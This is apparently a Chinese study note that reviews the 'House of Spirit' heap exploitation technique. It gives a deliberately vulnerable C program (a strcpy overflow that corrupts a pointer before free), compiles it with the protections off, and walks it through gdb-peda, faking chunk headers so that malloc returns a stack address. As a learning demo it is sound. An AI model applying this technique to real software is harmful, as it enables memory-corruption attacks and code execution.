1.hos复盘
hos即伪造堆块，free栈上地址，然后下一个malloc去分配一个fastbin(栈上)，包含返回地址。
代码来源
他这个我直接复现有问题，咨询了joker师傅，应该是gcc版本问题，导致局部变量位置不同。所以我直接gdb里暴力set去搞，反正就是个demo，学习下原理就好。
# muhe @ ubuntu in ~/Desktop/study [2:54:31]
$ ls
hos hos.c
# muhe @ ubuntu in ~/Desktop/study [2:54:33]
$ cat hos.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void fvuln(char *str1, int age)
{
char *ptr1;
int local_age;
char name[32];
char *ptr2;
local_age = age;
ptr1 = (char *) malloc(256);
printf("
PTR1 = [ %p ]", ptr1);
strcpy(name, str1);
printf("
PTR1 = [ %p ]
", ptr1);
free(ptr1);
ptr2 = (char *) malloc(40);
snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);
printf("
%s
", ptr2);
}
int main(int argc, char *argv[])
{
int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};
if (argc == 3)
fvuln(argv[1], atoi(argv[2]));
return 0;
}
# muhe @ ubuntu in ~/Desktop/study [2:54:35]
$ gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos -g
# muhe @ ubuntu in ~/Desktop/study [2:54:45]
$ gdb ./hos -q
Reading symbols from ./hos...done.
gdb-peda$ pdisass fvuln
Dump of assembler code for function fvuln:
0x080484fb <+0>: push ebp
0x080484fc <+1>: mov ebp,esp
0x080484fe <+3>: sub esp,0x2c
0x08048501 <+6>: mov eax,DWORD PTR [ebp+0xc]
0x08048504 <+9>: mov DWORD PTR [ebp-0x4],eax
0x08048507 <+12>: push 0x100
0x0804850c <+17>: call 0x80483b0 <malloc@plt>
0x08048511 <+22>: add esp,0x4
0x08048514 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048517 <+28>: push DWORD PTR [ebp-0x8]
0x0804851a <+31>: push 0x8048660
0x0804851f <+36>: call 0x8048380 <printf@plt>
0x08048524 <+41>: add esp,0x8
0x08048527 <+44>: push DWORD PTR [ebp+0x8]
0x0804852a <+47>: lea eax,[ebp-0x2c]
0x0804852d <+50>: push eax
0x0804852e <+51>: call 0x80483a0 <strcpy@plt>
0x08048533 <+56>: add esp,0x8
0x08048536 <+59>: push DWORD PTR [ebp-0x8]
0x08048539 <+62>: push 0x804866f
0x0804853e <+67>: call 0x8048380 <printf@plt>
0x08048543 <+72>: add esp,0x8
0x08048546 <+75>: push DWORD PTR [ebp-0x8]
0x08048549 <+78>: call 0x8048390 <free@plt>
0x0804854e <+83>: add esp,0x4
0x08048551 <+86>: push 0x28
0x08048553 <+88>: call 0x80483b0 <malloc@plt>
0x08048558 <+93>: add esp,0x4
0x0804855b <+96>: mov DWORD PTR [ebp-0xc],eax
0x0804855e <+99>: push DWORD PTR [ebp-0x4]
0x08048561 <+102>: lea eax,[ebp-0x2c]
0x08048564 <+105>: push eax
0x08048565 <+106>: push 0x804867f
0x0804856a <+111>: push 0x27
0x0804856c <+113>: push DWORD PTR [ebp-0xc]
0x0804856f <+116>: call 0x80483d0 <snprintf@plt>
0x08048574 <+121>: add esp,0x14
0x08048577 <+124>: push DWORD PTR [ebp-0xc]
0x0804857a <+127>: push 0x8048692
0x0804857f <+132>: call 0x8048380 <printf@plt>
0x08048584 <+137>: add esp,0x8
0x08048587 <+140>: nop
0x08048588 <+141>: leave
0x08048589 <+142>: ret
End of assembler dump.
gdb-peda$ b *0x0804850c
Breakpoint 1 at 0x804850c: file hos.c, line 14.
gdb-peda$ b *0x0804852e
Breakpoint 2 at 0x804852e: file hos.c, line 16.
gdb-peda$ b *0x08048549
Breakpoint 3 at 0x8048549: file hos.c, line 19.
gdb-peda$ b *0x08048553
Breakpoint 4 at 0x8048553: file hos.c, line 21.
gdb-peda$ r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc 20
Starting program: /home/muhe/Desktop/study/hos aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc 20
[----------------------------------registers-----------------------------------]
EAX: 0x14
EBX: 0x0
ECX: 0x0
EDX: 0x14
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd51c --> 0x100
EIP: 0x804850c (<fvuln+17>: call 0x80483b0 <malloc@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048501 <fvuln+6>: mov eax,DWORD PTR [ebp+0xc]
0x8048504 <fvuln+9>: mov DWORD PTR [ebp-0x4],eax
0x8048507 <fvuln+12>: push 0x100
=> 0x804850c <fvuln+17>: call 0x80483b0 <malloc@plt>
0x8048511 <fvuln+22>: add esp,0x4
0x8048514 <fvuln+25>: mov DWORD PTR [ebp-0x8],eax
0x8048517 <fvuln+28>: push DWORD PTR [ebp-0x8]
0x804851a <fvuln+31>: push 0x8048660
Guessed arguments:
arg[0]: 0x100
arg[1]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0xffffd51c --> 0x100
0004| 0xffffd520 --> 0x0
0008| 0xffffd524 --> 0xffffd5c4 --> 0x61b64d7e
0012| 0xffffd528 --> 0xf7fe76db (add esi,0x15925)
0016| 0xffffd52c --> 0x0
0020| 0xffffd530 --> 0xf7e39c45 (<strtol+5>: add eax,0x17f3bb)
0024| 0xffffd534 --> 0xf7e37040 (<atoi+16>: add esp,0x1c)
0028| 0xffffd538 --> 0xffffd851 --> 0x58003032 ('20')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804850c in fvuln (str1=0xffffd828 'a' <repeats 32 times>, "bbbbcccc", age=0x14) at hos.c:14
14 ptr1 = (char *) malloc(256);
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd520 --> 0x0
EBX: 0x0
ECX: 0x7fffffec
EDX: 0xf7fba870 --> 0x0
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd518 --> 0xffffd520 --> 0x0
EIP: 0x804852e (<fvuln+51>: call 0x80483a0 <strcpy@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048527 <fvuln+44>: push DWORD PTR [ebp+0x8]
0x804852a <fvuln+47>: lea eax,[ebp-0x2c]
0x804852d <fvuln+50>: push eax
=> 0x804852e <fvuln+51>: call 0x80483a0 <strcpy@plt>
0x8048533 <fvuln+56>: add esp,0x8
0x8048536 <fvuln+59>: push DWORD PTR [ebp-0x8]
0x8048539 <fvuln+62>: push 0x804866f
0x804853e <fvuln+67>: call 0x8048380 <printf@plt>
Guessed arguments:
arg[0]: 0xffffd520 --> 0x0
arg[1]: 0xffffd828 ('a' <repeats 32 times>, "bbbbcccc")
[------------------------------------stack-------------------------------------]
0000| 0xffffd518 --> 0xffffd520 --> 0x0
0004| 0xffffd51c --> 0xffffd828 ('a' <repeats 32 times>, "bbbbcccc")
0008| 0xffffd520 --> 0x0
0012| 0xffffd524 --> 0xffffd5c4 --> 0x61b64d7e
0016| 0xffffd528 --> 0xf7fe76db (add esi,0x15925)
0020| 0xffffd52c --> 0x0
0024| 0xffffd530 --> 0xf7e39c45 (<strtol+5>: add eax,0x17f3bb)
0028| 0xffffd534 --> 0xf7e37040 (<atoi+16>: add esp,0x1c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x0804852e in fvuln (str1=0xffffd828 'a' <repeats 32 times>, "bbbbcccc", age=0x14) at hos.c:16
16 strcpy(name, str1);
gdb-peda$ c
Continuing.
PTR1 = [ 0x804b008 ]
PTR1 = [ 0x63636363 ]
[----------------------------------registers-----------------------------------]
EAX: 0x17
EBX: 0x0
ECX: 0x7fffffeb
EDX: 0xf7fba870 --> 0x0
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd51c ("cccc", 'a' <repeats 32 times>, "bbbbcccc")
EIP: 0x8048549 (<fvuln+78>: call 0x8048390 <free@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804853e <fvuln+67>: call 0x8048380 <printf@plt>
0x8048543 <fvuln+72>: add esp,0x8
0x8048546 <fvuln+75>: push DWORD PTR [ebp-0x8]
=> 0x8048549 <fvuln+78>: call 0x8048390 <free@plt>
0x804854e <fvuln+83>: add esp,0x4
0x8048551 <fvuln+86>: push 0x28
0x8048553 <fvuln+88>: call 0x80483b0 <malloc@plt>
0x8048558 <fvuln+93>: add esp,0x4
Guessed arguments:
arg[0]: 0x63636363 ('cccc')
[------------------------------------stack-------------------------------------]
0000| 0xffffd51c ("cccc", 'a' <repeats 32 times>, "bbbbcccc")
0004| 0xffffd520 ('a' <repeats 32 times>, "bbbbcccc")
0008| 0xffffd524 ('a' <repeats 28 times>, "bbbbcccc")
0012| 0xffffd528 ('a' <repeats 24 times>, "bbbbcccc")
0016| 0xffffd52c ('a' <repeats 20 times>, "bbbbcccc")
0020| 0xffffd530 ('a' <repeats 16 times>, "bbbbcccc")
0024| 0xffffd534 ('a' <repeats 12 times>, "bbbbcccc")
0028| 0xffffd538 ("aaaaaaaabbbbcccc")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x08048549 in fvuln (str1=0xffffd828 'a' <repeats 32 times>, "bbbbcccc", age=0x14) at hos.c:19
19 free(ptr1);
gdb-peda$ x/10wx $esp
0xffffd51c: 0x63636363 0x61616161 0x61616161 0x61616161
0xffffd52c: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd53c: 0x61616161 0x62626262
gdb-peda$ set *(int*)0xffffd51c = 0xffffd530
gdb-peda$ x/10wx 0xffffd530 - 8
0xffffd528: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd538: 0x61616161 0x61616161 0x62626262 0x63636363
0xffffd548: 0x00000000 0xffffd588
gdb-peda$ set *(int*)0xffffd528=0x0
gdb-peda$ set *(int*)0xffffd52c=0x31
gdb-peda$ x/10wx 0xffffd530 - 8 + 0x30
0xffffd558: 0x00000014 0x00000000 0x00000000 0x00000000
0xffffd568: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd578: 0x0000000a 0x00000000
gdb-peda$ set *(int*)0xffffd558 = 0x31
gdb-peda$ set *(int*)0xffffd55c = 0x30
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fb9000 --> 0x1aedb0
EDX: 0x0
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd51c --> 0xffffd530 --> 0x0
EIP: 0x804854e (<fvuln+83>: add esp,0x4)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048543 <fvuln+72>: add esp,0x8
0x8048546 <fvuln+75>: push DWORD PTR [ebp-0x8]
0x8048549 <fvuln+78>: call 0x8048390 <free@plt>
=> 0x804854e <fvuln+83>: add esp,0x4
0x8048551 <fvuln+86>: push 0x28
0x8048553 <fvuln+88>: call 0x80483b0 <malloc@plt>
0x8048558 <fvuln+93>: add esp,0x4
0x804855b <fvuln+96>: mov DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd51c --> 0xffffd530 --> 0x0
0004| 0xffffd520 ("aaaaaaaa")
0008| 0xffffd524 ("aaaa")
0012| 0xffffd528 --> 0x0
0016| 0xffffd52c --> 0x31 ('1')
0020| 0xffffd530 --> 0x0
0024| 0xffffd534 ('a' <repeats 12 times>, "bbbbcccc")
0028| 0xffffd538 ("aaaaaaaabbbbcccc")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804854e 19 free(ptr1);
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fb9000 --> 0x1aedb0
EDX: 0x0
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd520 ("aaaaaaaa")
EIP: 0x8048551 (<fvuln+86>: push 0x28)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048546 <fvuln+75>: push DWORD PTR [ebp-0x8]
0x8048549 <fvuln+78>: call 0x8048390 <free@plt>
0x804854e <fvuln+83>: add esp,0x4
=> 0x8048551 <fvuln+86>: push 0x28
0x8048553 <fvuln+88>: call 0x80483b0 <malloc@plt>
0x8048558 <fvuln+93>: add esp,0x4
0x804855b <fvuln+96>: mov DWORD PTR [ebp-0xc],eax
0x804855e <fvuln+99>: push DWORD PTR [ebp-0x4]
[------------------------------------stack-------------------------------------]
0000| 0xffffd520 ("aaaaaaaa")
0004| 0xffffd524 ("aaaa")
0008| 0xffffd528 --> 0x0
0012| 0xffffd52c --> 0x31 ('1')
0016| 0xffffd530 --> 0x0
0020| 0xffffd534 ('a' <repeats 12 times>, "bbbbcccc")
0024| 0xffffd538 ("aaaaaaaabbbbcccc")
0028| 0xffffd53c ("aaaabbbbcccc")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
21 ptr2 = (char *) malloc(40);
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fb9000 --> 0x1aedb0
EDX: 0x0
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd51c --> 0x28 ('(')
EIP: 0x8048553 (<fvuln+88>: call 0x80483b0 <malloc@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048549 <fvuln+78>: call 0x8048390 <free@plt>
0x804854e <fvuln+83>: add esp,0x4
0x8048551 <fvuln+86>: push 0x28
=> 0x8048553 <fvuln+88>: call 0x80483b0 <malloc@plt>
0x8048558 <fvuln+93>: add esp,0x4
0x804855b <fvuln+96>: mov DWORD PTR [ebp-0xc],eax
0x804855e <fvuln+99>: push DWORD PTR [ebp-0x4]
0x8048561 <fvuln+102>: lea eax,[ebp-0x2c]
Guessed arguments:
arg[0]: 0x28 ('(')
[------------------------------------stack-------------------------------------]
0000| 0xffffd51c --> 0x28 ('(')
0004| 0xffffd520 ("aaaaaaaa")
0008| 0xffffd524 ("aaaa")
0012| 0xffffd528 --> 0x0
0016| 0xffffd52c --> 0x31 ('1')
0020| 0xffffd530 --> 0x0
0024| 0xffffd534 ('a' <repeats 12 times>, "bbbbcccc")
0028| 0xffffd538 ("aaaaaaaabbbbcccc")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 4, 0x08048553 in fvuln (str1=0xffffd828 'a' <repeats 32 times>, "bbbbcccc", age=0x31) at hos.c:21
21 ptr2 = (char *) malloc(40);
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xffffd530 --> 0x0
EBX: 0x0
ECX: 0xf7fb9780 --> 0x0
EDX: 0xffffd530 --> 0x0
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd51c --> 0x28 ('(')
EIP: 0x8048558 (<fvuln+93>: add esp,0x4)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804854e <fvuln+83>: add esp,0x4
0x8048551 <fvuln+86>: push 0x28
0x8048553 <fvuln+88>: call 0x80483b0 <malloc@plt>
=> 0x8048558 <fvuln+93>: add esp,0x4
0x804855b <fvuln+96>: mov DWORD PTR [ebp-0xc],eax
0x804855e <fvuln+99>: push DWORD PTR [ebp-0x4]
0x8048561 <fvuln+102>: lea eax,[ebp-0x2c]
0x8048564 <fvuln+105>: push eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd51c --> 0x28 ('(')
0004| 0xffffd520 ("aaaaaaaa")
0008| 0xffffd524 ("aaaa")
0012| 0xffffd528 --> 0x0
0016| 0xffffd52c --> 0x31 ('1')
0020| 0xffffd530 --> 0x0
0024| 0xffffd534 ('a' <repeats 12 times>, "bbbbcccc")
0028| 0xffffd538 ("aaaaaaaabbbbcccc")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048558 21 ptr2 = (char *) malloc(40);
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xffffd530 --> 0x0
EBX: 0x0
ECX: 0xf7fb9780 --> 0x0
EDX: 0xffffd530 --> 0x0
ESI: 0xf7fb9000 --> 0x1aedb0
EDI: 0xffffd584 --> 0xf7fb9000 --> 0x1aedb0
EBP: 0xffffd54c --> 0xffffd588 --> 0x0
ESP: 0xffffd520 ("aaaaaaaa")
EIP: 0x804855b (<fvuln+96>: mov DWORD PTR [ebp-0xc],eax)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048551 <fvuln+86>: push 0x28
0x8048553 <fvuln+88>: call 0x80483b0 <malloc@plt>
0x8048558 <fvuln+93>: add esp,0x4
=> 0x804855b <fvuln+96>: mov DWORD PTR [ebp-0xc],eax
0x804855e <fvuln+99>: push DWORD PTR [ebp-0x4]
0x8048561 <fvuln+102>: lea eax,[ebp-0x2c]
0x8048564 <fvuln+105>: push eax
0x8048565 <fvuln+106>: push 0x804867f
[------------------------------------stack-------------------------------------]
0000| 0xffffd520 ("aaaaaaaa")
0004| 0xffffd524 ("aaaa")
0008| 0xffffd528 --> 0x0
0012| 0xffffd52c --> 0x31 ('1')
0016| 0xffffd530 --> 0x0
0020| 0xffffd534 ('a' <repeats 12 times>, "bbbbcccc")
0024| 0xffffd538 ("aaaaaaaabbbbcccc")
0028| 0xffffd53c ("aaaabbbbcccc")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804855b 21 ptr2 = (char *) malloc(40);
gdb-peda$